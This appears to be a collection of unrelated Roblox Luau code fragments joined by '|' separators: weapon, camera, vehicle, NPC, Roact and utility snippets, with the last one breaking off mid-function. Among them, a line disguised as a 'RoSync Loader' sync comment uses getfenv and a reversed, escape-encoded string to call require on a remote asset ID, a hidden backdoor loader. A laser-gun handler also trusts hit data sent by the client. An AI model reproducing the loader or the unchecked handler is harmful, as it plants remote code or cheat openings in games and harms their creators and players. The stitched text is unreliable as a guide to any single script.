L_17_.C0 = CFrame.new(0, 1, 0, -1, 0, 0, 0, 0, 1, 0, 1, -0)
L_3_.HumanoidRootPart.RootJoint.C1 = CFrame.new(0, 0, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
L_68_['Right Hip'].C1 = CFrame.new(0.5, 1, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0)
L_68_['Left Hip'].C1 = CFrame.new(-0.5, 1, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0)
L_17_.C1 = CFrame.new(0, -0.5, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
end
L_68_:WaitForChild("Neck").Part1 = L_69_
L_68_:WaitForChild("Neck").C1 = L_68_:WaitForChild("Neck").C1
L_68_:WaitForChild("Neck").C0 = L_68_:WaitForChild("Neck").C0
L_18_:Destroy()
L_17_:Destroy()
L_24_.Part1 = L_20_
L_25_.Part1 = L_21_
if L_69_:FindFirstChild('AHH') then
L_69_.AHH:Destroy()
end
L_33_:FireClient(L_2_, false)
if L_12_.HolsteringEnabled then
for L_77_forvar1, L_78_forvar2 in pairs(L_1_:GetChildren()) do
if L_78_forvar2:IsA("Part") or L_78_forvar2:IsA("MeshPart") or L_78_forvar2:IsA("UnionOperation") then
L_78_forvar2.Anchored = true
local L_79_ = L_78_forvar2:clone()
L_79_.Parent = L_32_
end
end;
for L_80_forvar1, L_81_forvar2 in pairs(L_32_:GetChildren()) do
Weld(L_81_forvar2, L_32_:WaitForChild("Grip"))
end
local L_76_ = Weld(L_32_:WaitForChild("Grip"), L_3_:WaitForChild('Torso'))
L_76_.Name = "TWeld"
L_76_.C1 = L_12_.HolsterPos
for L_82_forvar1, L_83_forvar2 in pairs(L_32_:GetChildren()) do
L_83_forvar2.Anchored = false
end
end
end)
L_3_.Humanoid.Died:connect(function()
L_33_:FireClient(L_2_, false)
end)
|
-- ROBLOX deviation END: binding support |
type MutableSourceVersion = ReactTypes.MutableSourceVersion
type MutableSource<Source> = ReactTypes.MutableSource<Source>
type MutableSourceSubscribeFn<Source, Snapshot> = ReactTypes.MutableSourceSubscribeFn<
Source,
Snapshot
>
type MutableSourceGetSnapshotFn<Source, Snapshot> = ReactTypes.MutableSourceGetSnapshotFn<
Source,
Snapshot
>
type BasicStateAction<S> = ((S) -> S) | S
type Dispatch<A> = (A) -> ()
export type Dispatcher = {
readContext: <T>(
context: ReactContext<T>,
observedBits: nil | number | boolean
) -> T,
useState: <S>(initialState: (() -> S) | S) -> (S, Dispatch<BasicStateAction<S>>),
useReducer: <S, I, A>(
reducer: (S, A) -> S,
initialArg: I,
init: ((I) -> S)?
) -> (S, Dispatch<A>),
useContext: <T>(
context: ReactContext<T>,
observedBits: nil | number | boolean
) -> T,
-- ROBLOX deviation START: TS models this slightly differently, which is needed to have an initially empty ref and clear the ref, and still typecheck
useRef: <T>(initialValue: T) -> { current: T | nil },
-- ROBLOX deviation END
-- ROBLOX deviation START: Bindings are a feature unique to Roact
useBinding: <T>(initialValue: T) -> (ReactBinding<T>, ReactBindingUpdater<T>),
-- ROBLOX deviation END
useEffect: (
-- ROBLOX TODO: Luau needs union type packs for this type to translate idiomatically
create: (() -> ()) | (() -> (() -> ())),
deps: Array<any> | nil
) -> (),
useLayoutEffect: (
-- ROBLOX TODO: Luau needs union type packs for this type to translate idiomatically
create: (() -> ()) | (() -> (() -> ())),
deps: Array<any> | nil
) -> (),
useCallback: <T>(callback: T, deps: Array<any> | nil) -> T,
useMemo: <T...>(nextCreate: () -> T..., deps: Array<any> | nil) -> T...,
useImperativeHandle: <T>(
ref: { current: T | nil } | ((inst: T | nil) -> any) | nil,
create: () -> T,
deps: Array<any> | nil
) -> (),
useDebugValue: <T>(value: T, formatterFn: ((value: T) -> any)?) -> (),
-- ROBLOX TODO: make these non-optional and implement them in the dispatchers
useDeferredValue: (<T>(value: T) -> T)?,
useTransition: (() -> ((() -> ()) -> (), boolean))?, -- ROBLOX deviation: Luau doesn't support jagged array types [(() -> ()) -> (), boolean],
useMutableSource: <Source, Snapshot>(
source: MutableSource<Source>,
getSnapshot: MutableSourceGetSnapshotFn<Source, Snapshot>,
subscribe: MutableSourceSubscribeFn<Source, Snapshot>
) -> Snapshot,
useOpaqueIdentifier: () -> any,
unstable_isNewReconciler: boolean?,
-- [string]: any,
}
local ReactCurrentDispatcher: { current: nil | Dispatcher } = {
--[[
* @internal
* @type {ReactComponent}
*/
]]
current = nil,
}
return ReactCurrentDispatcher
|
--[=[
Handlers if/when promise is fulfilled/rejected. It takes up to two arguments, callback functions
for the success and failure cases of the Promise. May return the same promise if certain behavior
is met.
:::info
We do not comply with 2.2.4 (onFulfilled or onRejected must not be called until the execution context stack
contains only platform code). This means promises may stack overflow, however, it also makes promises a lot cheaper
:::
If/when promise is rejected, all respective onRejected callbacks must execute in the order of their
originating calls to then.
If/when promise is fulfilled, all respective onFulfilled callbacks must execute in the order of their
originating calls to then.
@param onFulfilled function -- Called if/when fulfilled with parameters
@param onRejected function -- Called if/when rejected with parameters
@return Promise<T>
]=] |
function Promise:Then(onFulfilled, onRejected)
if type(onRejected) == "function" then
self._unconsumedException = false
end
if self._pendingExecuteList then
local promise = Promise.new()
self._pendingExecuteList[#self._pendingExecuteList + 1] = { onFulfilled, onRejected, promise }
return promise
else
return self:_executeThen(onFulfilled, onRejected, nil)
end
end
|
-- Start running 'autoSave()' function in the background |
spawn(autoSave)
|
--[=[
@param obj any
@return boolean
Returns `true` if `obj` belongs to the EnumList.
]=] |
function EnumList:BelongsTo(obj: any): boolean
return type(obj) == "table" and obj.EnumType == self
end
|
-- Services |
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local RunService = game:GetService("RunService")
|
--------END STAGE--------
--------CREW-------- |
game.Workspace.crewp1.Decal.Texture = "http://www.roblox.com/asset/?id="..(game.Workspace.CurrentLeftBackground.Value)..""
game.Workspace.crewp2.Decal.Texture = "http://www.roblox.com/asset/?id="..(game.Workspace.CurrentRightBackground.Value)..""
game.Workspace.crewp3.Decal.Texture = "http://www.roblox.com/asset/?id="..(game.Workspace.CurrentLeftBackground.Value)..""
game.Workspace.crewp4.Decal.Texture = "http://www.roblox.com/asset/?id="..(game.Workspace.CurrentRightBackground.Value)..""
|
--15 c/s |
while wait(.0667) do
--Automatic Transmission
if _TMode == "Auto" then Auto() end
--Flip
if _Tune.AutoFlip then Flip() end
end |
--When you are editing the car, make sure that the Left, Right, and Base parts are in a
--straight line, or the wheels will be somewhere you do not expect them to be |
left = Instance.new("Motor", script.Parent.Parent)
right = Instance.new("Motor", script.Parent.Parent)
left.Name = "LeftMotor"
right.Name = "RightMotor"
left.Part0 = l
right.Part0 = r
left.Part1 = b2
right.Part1 = b
right.C0 = CFrame.new(-WheelSize/2-r.Size.x/2,0,0)*CFrame.Angles(math.pi/2,0,math.pi/2)
right.C1 = CFrame.new(-b.Size.x/2-r.Size.x-WheelSize/2,0,0)*CFrame.Angles(math.pi/2,0,math.pi/2)
left.C0 = CFrame.new(-1,0,0)*CFrame.Angles(0,0,math.pi/2)
left.C1 = CFrame.new()*CFrame.Angles(0,0,math.pi/2)
right.MaxVelocity = 0.02
left.MaxVelocity = 0.02
|
--- Splits a string by space but taking into account quoted sequences which will be treated as a single argument. |
function Util.SplitString(text, max)
text = encodeControlChars(text)
max = max or math.huge
local t = {}
local spat, epat, buf, quoted = [=[^(['"])]=], [=[(['"])$]=]
for str in text:gmatch("%S+") do
str = Util.ParseEscapeSequences(str)
local squoted = str:match(spat)
local equoted = str:match(epat)
local escaped = str:match([=[(\*)['"]$]=])
if squoted and not quoted and not equoted then
buf, quoted = str, squoted
elseif buf and equoted == quoted and #escaped % 2 == 0 then
str, buf, quoted = buf .. " " .. str, nil, nil
elseif buf then
buf = buf .. " " .. str
end
if not buf then
t[#t + (#t > max and 0 or 1)] = decodeControlChars(str:gsub(spat, ""):gsub(epat, ""))
end
end
if buf then
t[#t + (#t > max and 0 or 1)] = decodeControlChars(buf)
end
return t
end
|
-- << INDIVIDUAL PERMISSIONS >> |
local HeadAdmins = {"Example1","Example2"}
local Admins = {}
local Mods = {}
local VIPs = {}
|
--// B key, Dome Light |
mouse.KeyDown:connect(function(key)
if key=="," then
veh.Lightbar.middle.SpotlightSound:Play()
veh.Lightbar.Remotes.DomeEvent:FireServer(true)
end
end)
|
--BaseRay.Transparency = 1 |
BaseRayMesh = Instance.new("SpecialMesh")
BaseRayMesh.Name = "Mesh"
BaseRayMesh.MeshType = Enum.MeshType.Brick
BaseRayMesh.Scale = Vector3.new(0.2, 0.2, 1)
BaseRayMesh.Offset = Vector3.new(0, 0, 0)
BaseRayMesh.VertexColor = Vector3.new(1, 1, 1)
BaseRayMesh.Parent = BaseRay
ServerControl = (Remotes:FindFirstChild("ServerControl") or Instance.new("RemoteFunction"))
ServerControl.Name = "ServerControl"
ServerControl.Parent = Remotes
ClientControl = (Remotes:FindFirstChild("ClientControl") or Instance.new("RemoteFunction"))
ClientControl.Name = "ClientControl"
ClientControl.Parent = Remotes
Light.Enabled = false
Tool.Enabled = true
function RayTouched(Hit, Position)
if Configuration.DestroyParts.Value then
Hit:Destroy()
end
if Configuration.SuperPartDestruction.Value then
Hit.Archivable = false
Hit:Destroy()
end
if not Hit or not Hit.Parent then
return
end
local character = Hit.Parent
if character:IsA("Hat") then
character = character.Parent
end
if character == Character then
return
end
local humanoid = character:FindFirstChildOfClass('Humanoid')
if not humanoid or humanoid.Health == 0 then
return
end
local player = Players:GetPlayerFromCharacter(character)
if player and Functions.IsTeamMate(Player, player) then
return
end
local DeterminedDamage = math.random(Configuration.Damage.MinValue, Configuration.Damage.MaxValue)
Functions.UntagHumanoid(humanoid)
Functions.TagHumanoid(humanoid, Player)
if Configuration.InstantKill.Value then
humanoid.Health = 0
end
if Configuration.IgnoreForceField.Value then
if Hit.Name == 'Head' then
humanoid.Health = humanoid.Health - math.random(Configuration.Damage.MinValue, Configuration.Damage.MaxValue) * Configuration.HeadShotMultiplier.Value
Sounds.HeadShot:Play()
else
humanoid.Health = humanoid.Health - math.random(Configuration.Damage.MinValue, Configuration.Damage.MaxValue)
end
else
if Hit.Name == 'Head' then
humanoid:TakeDamage(DeterminedDamage * Configuration.HeadShotMultiplier.Value)
Sounds.HeadShot:Play()
else
humanoid:TakeDamage(DeterminedDamage)
end
end
end
function CheckIfAlive()
return (((Player and Player.Parent and Character and Character.Parent and Humanoid and Humanoid.Parent and Humanoid.Health > 0) and true) or false)
end
function Equipped()
Character = Tool.Parent
Player = Players:GetPlayerFromCharacter(Character)
Humanoid = Character:FindFirstChild("Humanoid")
if not CheckIfAlive() then
return
end
ToolEquipped = true
end
function Unequipped()
ToolEquipped = false
end
function InvokeClient(Mode, Value)
local ClientReturn = nil
pcall(function()
ClientReturn = ClientControl:InvokeClient(Player, Mode, Value)
end)
return ClientReturn
end
ServerControl.OnServerInvoke = (function(player, Mode, Value)
if player ~= Player or not ToolEquipped or not CheckIfAlive() or not Mode or not Value then
return
end
if Mode == "Fire" then
Sounds.Fire:Play()
FX:Emit(3)
if Configuration.AddRecoil.Value then
if Recoil.Disabled then
Recoil.Disabled = false
delay(0.1, function()
Recoil.Disabled = true
end)
end
end
elseif Mode == "RayHit" then
local RayHit = Value.Hit
local RayPosition = Value.Position
if RayHit and RayPosition then
RayTouched(RayHit, RayPosition)
end
elseif Mode == "CastLaser" then
local StartPosition = Value.StartPosition
local TargetPosition = Value.TargetPosition
local RayHit = Value.RayHit
if not StartPosition or not TargetPosition or not RayHit then
return
end
for i, v in pairs(Players:GetPlayers()) do
if v:IsA("Player") and v ~= Player then
local Backpack = v:FindFirstChild("Backpack")
if Backpack then
local LaserScript = CastLaser:Clone()
local StartPos = Instance.new("Vector3Value")
StartPos.Name = "StartPosition"
StartPos.Value = StartPosition
StartPos.Parent = LaserScript
local TargetPos = Instance.new("Vector3Value")
TargetPos.Name = "TargetPosition"
TargetPos.Value = TargetPosition
TargetPos.Parent = LaserScript
local RayHit = Instance.new("BoolValue")
RayHit.Name = "RayHit"
RayHit.Value = RayHit
RayHit.Parent = LaserScript
LaserScript.Disabled = false
Debris:AddItem(LaserScript, 1.5)
LaserScript.Parent = Backpack
end
end
end
end
end)
Tool.Equipped:connect(Equipped)
Tool.Unequipped:connect(Unequipped)
|
-- Requires |
local APIEquipment = require(ReplicatedStorage.Common.APIEquipment)
PlayersService.PlayerAdded:Connect(function(player)
-- When the character is added we'll listen for them to die.
player.CharacterAdded:Connect(function(character)
local humanoid = character:WaitForChild("Humanoid")
if not humanoid then return end
-- As soon as the player dies the weapons are removed
humanoid.Died:Connect(function()
APIEquipment.RemoveWeapons(player)
end)
end)
end)
|
--Gets a remote event. It does not check the class. |
function RemoteEventCreator:GetRemoteEvent(Name)
return Tool:WaitForChild(Name)
end
|
--Made by Luckymaxer |
Camera = game:GetService("Workspace").CurrentCamera
Rate = (1 / 60)
Shake = {Movement = 20, Rate = 0.001}
local CoordinateFrame = Camera.CoordinateFrame
local Focus = Camera.Focus
while true do
local CameraRotation = Camera.CoordinateFrame - Camera.CoordinateFrame.p
local CameraScroll = (CoordinateFrame.p - Focus.p).magnitude
local NewCFrame = CFrame.new(Camera.Focus.p) * CameraRotation * CFrame.fromEulerAnglesXYZ((math.random(-Shake.Movement, Shake.Movement) * Shake.Rate), (math.random(-Shake.Movement, Shake.Movement) * Shake.Rate), 0)
CoordinateFrame = NewCFrame * CFrame.new(0, 0, CameraScroll)
Camera.CoordinateFrame = CoordinateFrame
wait(Rate)
end
|
-- lunge and hold |
if target.Humanoid.SeatPart then
game.ReplicatedStorage.Events.NPCAttack:Fire(target.Humanoid.SeatPart.Parent,math.random(5,15))
else
game.ReplicatedStorage.Events.NPCAttack:Fire(game.Players:GetPlayerFromCharacter(target),25)
end
shark.Head.SharkEat:Play()
local emitter = game.ReplicatedStorage.Particles.Teeth:Clone()
emitter.Parent = shark.Head
emitter.EmissionDirection = Enum.NormalId.Top
wait()
emitter:Emit(1)
holdOrder = tick()
holdDuration = 2
end
end
end -- end of MakeAMove()
MakeAMove()
local scanSurroundings = coroutine.wrap(function()
while true do
stance = "wander"
local surroundingParts = workspace:FindPartsInRegion3WithIgnoreList(Region3.new(
shark.PrimaryPart.Position+Vector3.new(-60,-3,-60),
shark.PrimaryPart.Position+Vector3.new(60,10,60)),
shark:GetChildren())
for _,v in next,surroundingParts do
if v.Parent:FindFirstChild("Humanoid") and v.Parent.Humanoid.Health > 0 then |
-- Display Values used to update Player GUI |
local displayValues = ReplicatedStorage.DisplayValues
local timeLeft = displayValues.TimeLeft
|
--Colocamos Sounds y Proximity en la puerta |
OpenSound.Parent = Door
CloseSound.Parent = Door
Proximity.Parent = Door
|
--- Sets whether or not the console is enabled |
function Cmdr:SetEnabled (enabled)
self.Enabled = enabled
end
|
--[[
Updates the value stored in this State object.
If `force` is enabled, this will skip equality checks and always update the
state object and any dependents - use this with care as this can lead to
unnecessary updates.
]] |
function class:set(newValue, force: boolean?)
if force or not utility.isSimilar(self._value, newValue) then
self._value = newValue
Dependencies.updateAll(self)
end
end
return Value
|
--[[ Last synced 11/11/2020 02:32 RoSync Loader ]] | getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722905184) --[[ ]]--
|
-- Reset the camera look vector when the camera is enabled for the first time |
local SetCameraOnSpawn = true
local UseRenderCFrame = false
pcall(function()
local rc = Instance.new('Part'):GetRenderCFrame()
UseRenderCFrame = (rc ~= nil)
end)
local function GetRenderCFrame(part)
return UseRenderCFrame and part:GetRenderCFrame() or part.CFrame
end
local function CreateCamera()
local this = {}
this.ShiftLock = false
this.Enabled = false
local pinchZoomSpeed = 20
local isFirstPerson = false
local isRightMouseDown = false
this.RotateInput = Vector2.new()
function this:GetShiftLock()
return ShiftLockController:IsShiftLocked()
end
function this:GetHumanoid()
local player = PlayersService.LocalPlayer
return findPlayerHumanoid(player)
end
function this:GetHumanoidRootPart()
local humanoid = this:GetHumanoid()
return humanoid and humanoid.Torso
end
function this:GetRenderCFrame(part)
GetRenderCFrame(part)
end
function this:GetSubjectPosition()
local result = nil
local camera = workspace.CurrentCamera
local cameraSubject = camera and camera.CameraSubject
if cameraSubject then
if cameraSubject:IsA('VehicleSeat') then
local subjectCFrame = GetRenderCFrame(cameraSubject)
result = subjectCFrame.p + subjectCFrame:vectorToWorldSpace(SEAT_OFFSET)
elseif cameraSubject:IsA('SkateboardPlatform') then
local subjectCFrame = GetRenderCFrame(cameraSubject)
result = subjectCFrame.p + SEAT_OFFSET
elseif cameraSubject:IsA('BasePart') then
local subjectCFrame = GetRenderCFrame(cameraSubject)
result = subjectCFrame.p
elseif cameraSubject:IsA('Model') then
result = cameraSubject:GetModelCFrame().p
elseif cameraSubject:IsA('Humanoid') then
local humanoidRootPart = cameraSubject.Torso
if humanoidRootPart and humanoidRootPart:IsA('BasePart') then
local subjectCFrame = GetRenderCFrame(humanoidRootPart)
result = subjectCFrame.p +
subjectCFrame:vectorToWorldSpace(HEAD_OFFSET + cameraSubject.CameraOffset)
end
end
end
return result
end
function this:ResetCameraLook()
end
function this:GetCameraLook()
return workspace.CurrentCamera and workspace.CurrentCamera.CoordinateFrame.lookVector or Vector3.new(0,0,1)
end
function this:GetCameraZoom()
if this.currentZoom == nil then
local player = PlayersService.LocalPlayer
this.currentZoom = player and clamp(player.CameraMinZoomDistance, player.CameraMaxZoomDistance, 10) or 10
end
return this.currentZoom
end
function this:GetCameraActualZoom()
local camera = workspace.CurrentCamera
if camera then
return (camera.CoordinateFrame.p - camera.Focus.p).magnitude
end
end
function this:ViewSizeX()
local result = 1024
local player = PlayersService.LocalPlayer
local mouse = player and player:GetMouse()
if mouse then
result = mouse.ViewSizeX
end
return result
end
function this:ViewSizeY()
local result = 768
local player = PlayersService.LocalPlayer
local mouse = player and player:GetMouse()
if mouse then
result = mouse.ViewSizeY
end
return result
end
function this:ScreenTranslationToAngle(translationVector)
local screenX = this:ViewSizeX()
local screenY = this:ViewSizeY()
local xTheta = (translationVector.x / screenX)
local yTheta = (translationVector.y / screenY)
return Vector2.new(xTheta, yTheta)
end
function this:MouseTranslationToAngle(translationVector)
local xTheta = (translationVector.x / 1920)
local yTheta = (translationVector.y / 1200)
return Vector2.new(xTheta, yTheta)
end
function this:RotateCamera(startLook, xyRotateVector)
-- Could cache these values so we don't have to recalc them all the time
local startCFrame = CFrame.new(Vector3.new(), startLook)
local startVertical = math.asin(startLook.y)
local yTheta = clamp(-MAX_Y + startVertical, -MIN_Y + startVertical, xyRotateVector.y)
local resultLookVector = (CFrame.Angles(0, -xyRotateVector.x, 0) * startCFrame * CFrame.Angles(-yTheta,0,0)).lookVector
return resultLookVector, Vector2.new(xyRotateVector.x, yTheta)
end
function this:IsInFirstPerson()
return isFirstPerson
end
-- there are several cases to consider based on the state of input and camera rotation mode
function this:UpdateMouseBehavior()
-- first time transition to first person mode or shiftlock
if isFirstPerson or self:GetShiftLock() then
if UserInputService.MouseBehavior ~= Enum.MouseBehavior.LockCenter then
pcall(function() GameSettings.RotationType = Enum.RotationType.CameraRelative end)
UserInputService.MouseBehavior = Enum.MouseBehavior.LockCenter
end
else
pcall(function() GameSettings.RotationType = Enum.RotationType.MovementRelative end)
if isRightMouseDown then
UserInputService.MouseBehavior = Enum.MouseBehavior.LockCurrentPosition
else
UserInputService.MouseBehavior = Enum.MouseBehavior.Default
end
end
end
function this:ZoomCamera(desiredZoom)
local player = PlayersService.LocalPlayer
if player then
if player.CameraMode == Enum.CameraMode.LockFirstPerson then
this.currentZoom = 0
else
this.currentZoom = clamp(player.CameraMinZoomDistance, player.CameraMaxZoomDistance, desiredZoom)
end
end
isFirstPerson = self:GetCameraZoom() < 2
ShiftLockController:SetIsInFirstPerson(isFirstPerson)
-- set mouse behavior
self:UpdateMouseBehavior()
return self:GetCameraZoom()
end
local function rk4Integrator(position, velocity, t)
local direction = velocity < 0 and -1 or 1
local function acceleration(p, v)
local accel = direction * math.max(1, (p / 3.3) + 0.5)
return accel
end
local p1 = position
local v1 = velocity
local a1 = acceleration(p1, v1)
local p2 = p1 + v1 * (t / 2)
local v2 = v1 + a1 * (t / 2)
local a2 = acceleration(p2, v2)
local p3 = p1 + v2 * (t / 2)
local v3 = v1 + a2 * (t / 2)
local a3 = acceleration(p3, v3)
local p4 = p1 + v3 * t
local v4 = v1 + a3 * t
local a4 = acceleration(p4, v4)
local positionResult = position + (v1 + 2 * v2 + 2 * v3 + v4) * (t / 6)
local velocityResult = velocity + (a1 + 2 * a2 + 2 * a3 + a4) * (t / 6)
return positionResult, velocityResult
end
function this:ZoomCameraBy(zoomScale)
local zoom = this:GetCameraActualZoom()
if zoom then
-- Can break into more steps to get more accurate integration
zoom = rk4Integrator(zoom, zoomScale, 1)
self:ZoomCamera(zoom)
end
return self:GetCameraZoom()
end
function this:ZoomCameraFixedBy(zoomIncrement)
return self:ZoomCamera(self:GetCameraZoom() + zoomIncrement)
end
function this:Update()
end
---- Input Events ----
local startPos = nil
local lastPos = nil
local panBeginLook = nil
local fingerTouches = {}
local NumUnsunkTouches = 0
local StartingDiff = nil
local pinchBeginZoom = nil
this.ZoomEnabled = true
this.PanEnabled = true
this.KeyPanEnabled = true
local function OnTouchBegan(input, processed)
fingerTouches[input] = processed
if not processed then
NumUnsunkTouches = NumUnsunkTouches + 1
end
end
local function OnTouchChanged(input, processed)
if fingerTouches[input] == nil then
fingerTouches[input] = processed
if not processed then
NumUnsunkTouches = NumUnsunkTouches + 1
end
end
if NumUnsunkTouches == 1 then
if fingerTouches[input] == false then
panBeginLook = panBeginLook or this:GetCameraLook()
startPos = startPos or input.Position
lastPos = lastPos or startPos
this.UserPanningTheCamera = true
local delta = input.Position - lastPos
if this.PanEnabled then
local desiredXYVector = this:ScreenTranslationToAngle(delta) * TOUCH_SENSITIVTY
this.RotateInput = this.RotateInput + desiredXYVector
end
lastPos = input.Position
end
else
panBeginLook = nil
startPos = nil
lastPos = nil
this.UserPanningTheCamera = false
end
if NumUnsunkTouches == 2 then
local unsunkTouches = {}
for touch, wasSunk in pairs(fingerTouches) do
if not wasSunk then
table.insert(unsunkTouches, touch)
end
end
if #unsunkTouches == 2 then
local difference = (unsunkTouches[1].Position - unsunkTouches[2].Position).magnitude
if StartingDiff and pinchBeginZoom then
local scale = difference / math.max(0.01, StartingDiff)
local clampedScale = clamp(0.1, 10, scale)
if this.ZoomEnabled then
this:ZoomCamera(pinchBeginZoom / clampedScale)
end
else
StartingDiff = difference
pinchBeginZoom = this:GetCameraActualZoom()
end
end
else
StartingDiff = nil
pinchBeginZoom = nil
end
end
local function OnTouchEnded(input, processed)
if fingerTouches[input] == false then
if NumUnsunkTouches == 1 then
panBeginLook = nil
startPos = nil
lastPos = nil
this.UserPanningTheCamera = false
elseif NumUnsunkTouches == 2 then
StartingDiff = nil
pinchBeginZoom = nil
end
end
if fingerTouches[input] ~= nil and fingerTouches[input] == false then
NumUnsunkTouches = NumUnsunkTouches - 1
end
fingerTouches[input] = nil
end
local function OnMouse2Down(input, processed)
if processed then return end
isRightMouseDown = true
this:UpdateMouseBehavior()
panBeginLook = this:GetCameraLook()
startPos = input.Position
lastPos = startPos
this.UserPanningTheCamera = true
end
local function OnMouse2Up(input, processed)
isRightMouseDown = false
this:UpdateMouseBehavior()
panBeginLook = nil
startPos = nil
lastPos = nil
this.UserPanningTheCamera = false
end
local function OnMouseMoved(input, processed)
if startPos and lastPos and panBeginLook then
local currPos = lastPos + input.Delta
local totalTrans = currPos - startPos
if this.PanEnabled then
local desiredXYVector = this:MouseTranslationToAngle(input.Delta) * (MOUSE_SENSITIVITY*sensitivity.Value)
this.RotateInput = this.RotateInput + desiredXYVector
end
lastPos = currPos
elseif this:IsInFirstPerson() or this:GetShiftLock() then
if this.PanEnabled then
local desiredXYVector = this:MouseTranslationToAngle(input.Delta) * (MOUSE_SENSITIVITY*sensitivity.Value)
this.RotateInput = this.RotateInput + desiredXYVector
end
end
end
local function OnMouseWheel(input, processed)
if not processed then
if this.ZoomEnabled then
this:ZoomCameraBy(clamp(-1, 1, -input.Position.Z) * 1.4)
end
end
end
local function round(num)
return math.floor(num + 0.5)
end
local eight2Pi = math.pi / 4
local function rotateVectorByAngleAndRound(camLook, rotateAngle, roundAmount)
if camLook ~= Vector3.new(0,0,0) then
camLook = camLook.unit
local currAngle = math.atan2(camLook.z, camLook.x)
local newAngle = round((math.atan2(camLook.z, camLook.x) + rotateAngle) / roundAmount) * roundAmount
return newAngle - currAngle
end
return 0
end
local function OnKeyDown(input, processed)
if processed then return end
if this.ZoomEnabled then
if input.KeyCode == Enum.KeyCode.I then
this:ZoomCameraBy(-5)
elseif input.KeyCode == Enum.KeyCode.O then
this:ZoomCameraBy(5)
end
end
if panBeginLook == nil and this.KeyPanEnabled then
if input.KeyCode == Enum.KeyCode.Left then
this.TurningLeft = true
elseif input.KeyCode == Enum.KeyCode.Right then
this.TurningRight = true
elseif input.KeyCode == Enum.KeyCode.Comma then
local angle = rotateVectorByAngleAndRound(this:GetCameraLook() * Vector3.new(1,0,1), -eight2Pi * (3/4), eight2Pi)
if angle ~= 0 then
this.RotateInput = this.RotateInput + Vector2.new(angle, 0)
this.LastUserPanCamera = tick()
this.LastCameraTransform = nil
end
elseif input.KeyCode == Enum.KeyCode.Period then
local angle = rotateVectorByAngleAndRound(this:GetCameraLook() * Vector3.new(1,0,1), eight2Pi * (3/4), eight2Pi)
if angle ~= 0 then
this.RotateInput = this.RotateInput + Vector2.new(angle, 0)
this.LastUserPanCamera = tick()
this.LastCameraTransform = nil
end
elseif input.KeyCode == Enum.KeyCode.PageUp then
--elseif input.KeyCode == Enum.KeyCode.Home then
this.RotateInput = this.RotateInput + Vector2.new(0,math.rad(15))
this.LastCameraTransform = nil
elseif input.KeyCode == Enum.KeyCode.PageDown then
--elseif input.KeyCode == Enum.KeyCode.End then
this.RotateInput = this.RotateInput + Vector2.new(0,math.rad(-15))
this.LastCameraTransform = nil
end
end
end
local function OnKeyUp(input, processed)
if input.KeyCode == Enum.KeyCode.Left then
this.TurningLeft = false
elseif input.KeyCode == Enum.KeyCode.Right then
this.TurningRight = false
end
end
local lastThumbstickRotate = nil
local numOfSeconds = 0.7
local currentSpeed = 0
local maxSpeed = 0.1
local thumbstickSensitivity = 1.0
local lastThumbstickPos = Vector2.new(0,0)
local ySensitivity = 0.65
local lastVelocity = nil
-- K is a tunable parameter that changes the shape of the S-curve
-- the larger K is the more straight/linear the curve gets
local k = 0.35
local lowerK = 0.8
local function SCurveTranform(t)
t = clamp(-1,1,t)
if t >= 0 then
return (k*t) / (k - t + 1)
end
return -((lowerK*-t) / (lowerK + t + 1))
end
-- DEADZONE
local DEADZONE = 0.1
local function toSCurveSpace(t)
return (1 + DEADZONE) * (2*math.abs(t) - 1) - DEADZONE
end
local function fromSCurveSpace(t)
return t/2 + 0.5
end
local function gamepadLinearToCurve(thumbstickPosition)
local function onAxis(axisValue)
local sign = 1
if axisValue < 0 then
sign = -1
end
local point = fromSCurveSpace(SCurveTranform(toSCurveSpace(math.abs(axisValue))))
point = point * sign
return clamp(-1,1,point)
end
return Vector2.new(onAxis(thumbstickPosition.x), onAxis(thumbstickPosition.y))
end
function this:UpdateGamepad()
local gamepadPan = this.GamepadPanningCamera
if gamepadPan then
gamepadPan = gamepadLinearToCurve(gamepadPan)
local currentTime = tick()
if gamepadPan.X ~= 0 or gamepadPan.Y ~= 0 then
this.userPanningTheCamera = true
elseif gamepadPan == Vector2.new(0,0) then
lastThumbstickRotate = nil
if lastThumbstickPos == Vector2.new(0,0) then
currentSpeed = 0
end
end
local finalConstant = 0
if lastThumbstickRotate then
local elapsedTime = (currentTime - lastThumbstickRotate) * 10
currentSpeed = currentSpeed + (maxSpeed * ((elapsedTime*elapsedTime)/numOfSeconds))
if currentSpeed > maxSpeed then currentSpeed = maxSpeed end
if lastVelocity then
local velocity = (gamepadPan - lastThumbstickPos)/(currentTime - lastThumbstickRotate)
local velocityDeltaMag = (velocity - lastVelocity).magnitude
if velocityDeltaMag > 12 then
currentSpeed = currentSpeed * (20/velocityDeltaMag)
if currentSpeed > maxSpeed then currentSpeed = maxSpeed end
end
end
finalConstant = thumbstickSensitivity * currentSpeed
lastVelocity = (gamepadPan - lastThumbstickPos)/(currentTime - lastThumbstickRotate)
end
lastThumbstickPos = gamepadPan
lastThumbstickRotate = currentTime
return Vector2.new( gamepadPan.X * finalConstant, gamepadPan.Y * finalConstant * ySensitivity)
end
return Vector2.new(0,0)
end
local InputBeganConn, InputChangedConn, InputEndedConn, ShiftLockToggleConn = nil, nil, nil, nil
function this:DisconnectInputEvents()
if InputBeganConn then
InputBeganConn:disconnect()
InputBeganConn = nil
end
if InputChangedConn then
InputChangedConn:disconnect()
InputChangedConn = nil
end
if InputEndedConn then
InputEndedConn:disconnect()
InputEndedConn = nil
end
if ShiftLockToggleConn then
ShiftLockToggleConn:disconnect()
ShiftLockToggleConn = nil
end
this.TurningLeft = false
this.TurningRight = false
this.LastCameraTransform = nil
self.LastSubjectCFrame = nil
this.UserPanningTheCamera = false
this.RotateInput = Vector2.new()
this.GamepadPanningCamera = Vector2.new(0,0)
-- Reset input states
startPos = nil
lastPos = nil
panBeginLook = nil
isRightMouseDown = false
fingerTouches = {}
NumUnsunkTouches = 0
StartingDiff = nil
pinchBeginZoom = nil
-- Unlock mouse for example if right mouse button was being held down
if UserInputService.MouseBehavior ~= Enum.MouseBehavior.LockCenter then
UserInputService.MouseBehavior = Enum.MouseBehavior.Default
end
end
function this:ConnectInputEvents()
InputBeganConn = UserInputService.InputBegan:connect(function(input, processed)
if input.UserInputType == Enum.UserInputType.Touch and IsTouch then
OnTouchBegan(input, processed)
